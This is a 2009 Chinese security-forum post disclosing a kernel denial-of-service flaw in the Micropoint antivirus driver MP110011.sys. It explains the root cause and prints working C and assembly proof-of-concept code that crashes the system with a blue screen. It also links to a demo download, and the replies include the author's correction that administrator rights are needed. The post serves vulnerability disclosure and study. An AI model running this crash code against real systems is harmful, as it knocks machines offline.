首页
社区
课程
招聘
[原创]微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞
发表于: 2009-2-6 12:12 11955

[原创]微点主动防御 1.2.10580.0169 (及以下版本)内核拒绝服务漏洞

2009-2-6 12:12
11955

微点主动防御是一款号称具有识别未知木马能力的主动防御软件

微点主动防御的最新版本1.2.10580.0169(20090205)中存在内核拒绝服务漏洞,可导致任意权限用户在安装了微点主动防御的系统上可引发蓝屏,从而导致拒绝服务攻击或为进一步攻击做准备

出问题的组件:MP110011.sys 版本:1.3.10050.0,CheckSum = 0x00014f3f, TimeStamp = 0x49534981

微点主动防御在使用对ntoskrnl!NtWriteFile->ObReferenceFileObjectForWrite的CALL HOOK中,通过使用堆栈回溯的方式取得NtWriteFile的参数ByteOffset
只使用了MmIsAddressValid函数对ByteOffset的首字节地址做了有效性判断,就直接使用了这个实际长达8个字节的Buffer,最终导致了漏洞的发生

下面是攻击示例代码,运行此代码后,装有1.2.10580.0169版本微点的机器上将立即蓝屏

HANDLE hdev = CreateFile("\\\\.\\c:" ,
   FILE_READ_DATA | FILE_WRITE_DATA |SYNCHRONIZE ,
   FILE_SHARE_READ | FILE_SHARE_WRITE ,
   NULL ,
   OPEN_EXISTING ,
   0,0);
BYTE Buffer[512];
ULONG btr ;

SetFilePointer(hdev , 0 , 0 , FILE_BEGIN);

ReadFile(hdev , Buffer , 512 , &btr , 0 );

HMODULE ntdll = LoadLibrary("ntdll.dll");
PVOID pNtWriteFile = GetProcAddress(ntdll, "ZwWriteFile");
ULONG i ;

for (i = 0 ; i < 0x7fffd000 ; i +=0x1000)
{
   if (IsBadReadPtr((PVOID)(i - 3) , 1) == FALSE &&
    IsBadReadPtr((PVOID)i , 1 ) == TRUE)
   {
    i = i - 3 ;
    break ;
   }

}
PVOID buf = Buffer;
LONG stat ;

__asm
{
   push 0
   push i
   push 512
   push buf
   push 0
   push 0
   push 0
   push 0
   push hdev
   call pNtWriteFile
   mov   stat , eax
}

下载漏洞演示程序请到

http://mj0011.ys168.com

漏洞演示目录下bsod_mp_x.rar


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (23)
雪    币: 354
活跃值: (10)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
沙发。。。。
2009-2-6 13:41
0
雪    币: 224
活跃值: (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
3
强贴,要求坛主置顶呀!
2009-2-6 14:50
0
雪    币: 218
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
NaX
4
强帖  支持
2009-2-6 15:00
0
雪    币: 21
活跃值: (12)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
wordless..
2009-2-6 15:07
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
佩服MJ..
2009-2-6 15:17
0
雪    币: 6536
活跃值: (2384)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
  没话说了。
2009-2-7 00:37
0
雪    币: 1602
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
能加些注释么?
2009-2-8 09:58
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
9
哦天哪,这个函数我也hook过,估计我的也极不安全
2009-2-8 22:16
0
雪    币: 7115
活跃值: (639)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
10
我是来膜拜LZ的。。。
2009-2-8 22:48
0
雪    币: 204
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
膜拜MJ。强帖。。
2009-2-9 16:06
0
雪    币: 442
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
楼主不算马甲了吧
2009-2-10 12:37
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
13
对于此漏洞我的理解有误,此漏洞并不能从User权限下触发,因为User权限默认对HarddiskVolume和PhysicalDrive无法获得FILE_WRITE_DATA权限

而微点由于使用了特别的CALL HOOK方式,会使用ObReferenceFileObjectForWrite来验证权限,所以此漏洞无法在正常的USER权限下触发,默认情况下只能从管理员权限下触发,因此只能算做蓝屏问题,特此更正
2009-2-10 13:16
0
雪    币: 152
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
特来膜拜王小姐。。。。
2009-2-10 13:36
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
15
膜拜王先生
2009-2-10 19:29
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
16
MJ很严谨~
2009-2-10 19:53
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
这个文件也能加精?
2009-2-13 13:35
0
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
楼主好像很传奇~~~~~~ 菜鸟也来膜拜一下!
感谢楼主的分析。 期待更多的文章,顶!
2009-2-14 20:33
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
请问有没有谁帮忙解释一下:

堆栈回溯的方式

是什么意思?
2009-3-12 09:41
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
20

百度一下就有啦~
2009-3-12 11:51
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
楼主很强大啊
2009-3-12 22:41
0
雪    币: 210
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
就是让机器蓝屏 有实际意义么 卖弄
2009-9-1 17:26
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
23
你的意思是所有拒绝服务漏洞都没有意义?!
2009-9-1 17:58
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
24
何必和脑 残一般见识
2009-9-1 20:33
0
游客
登录 | 注册 方可回帖
返回
//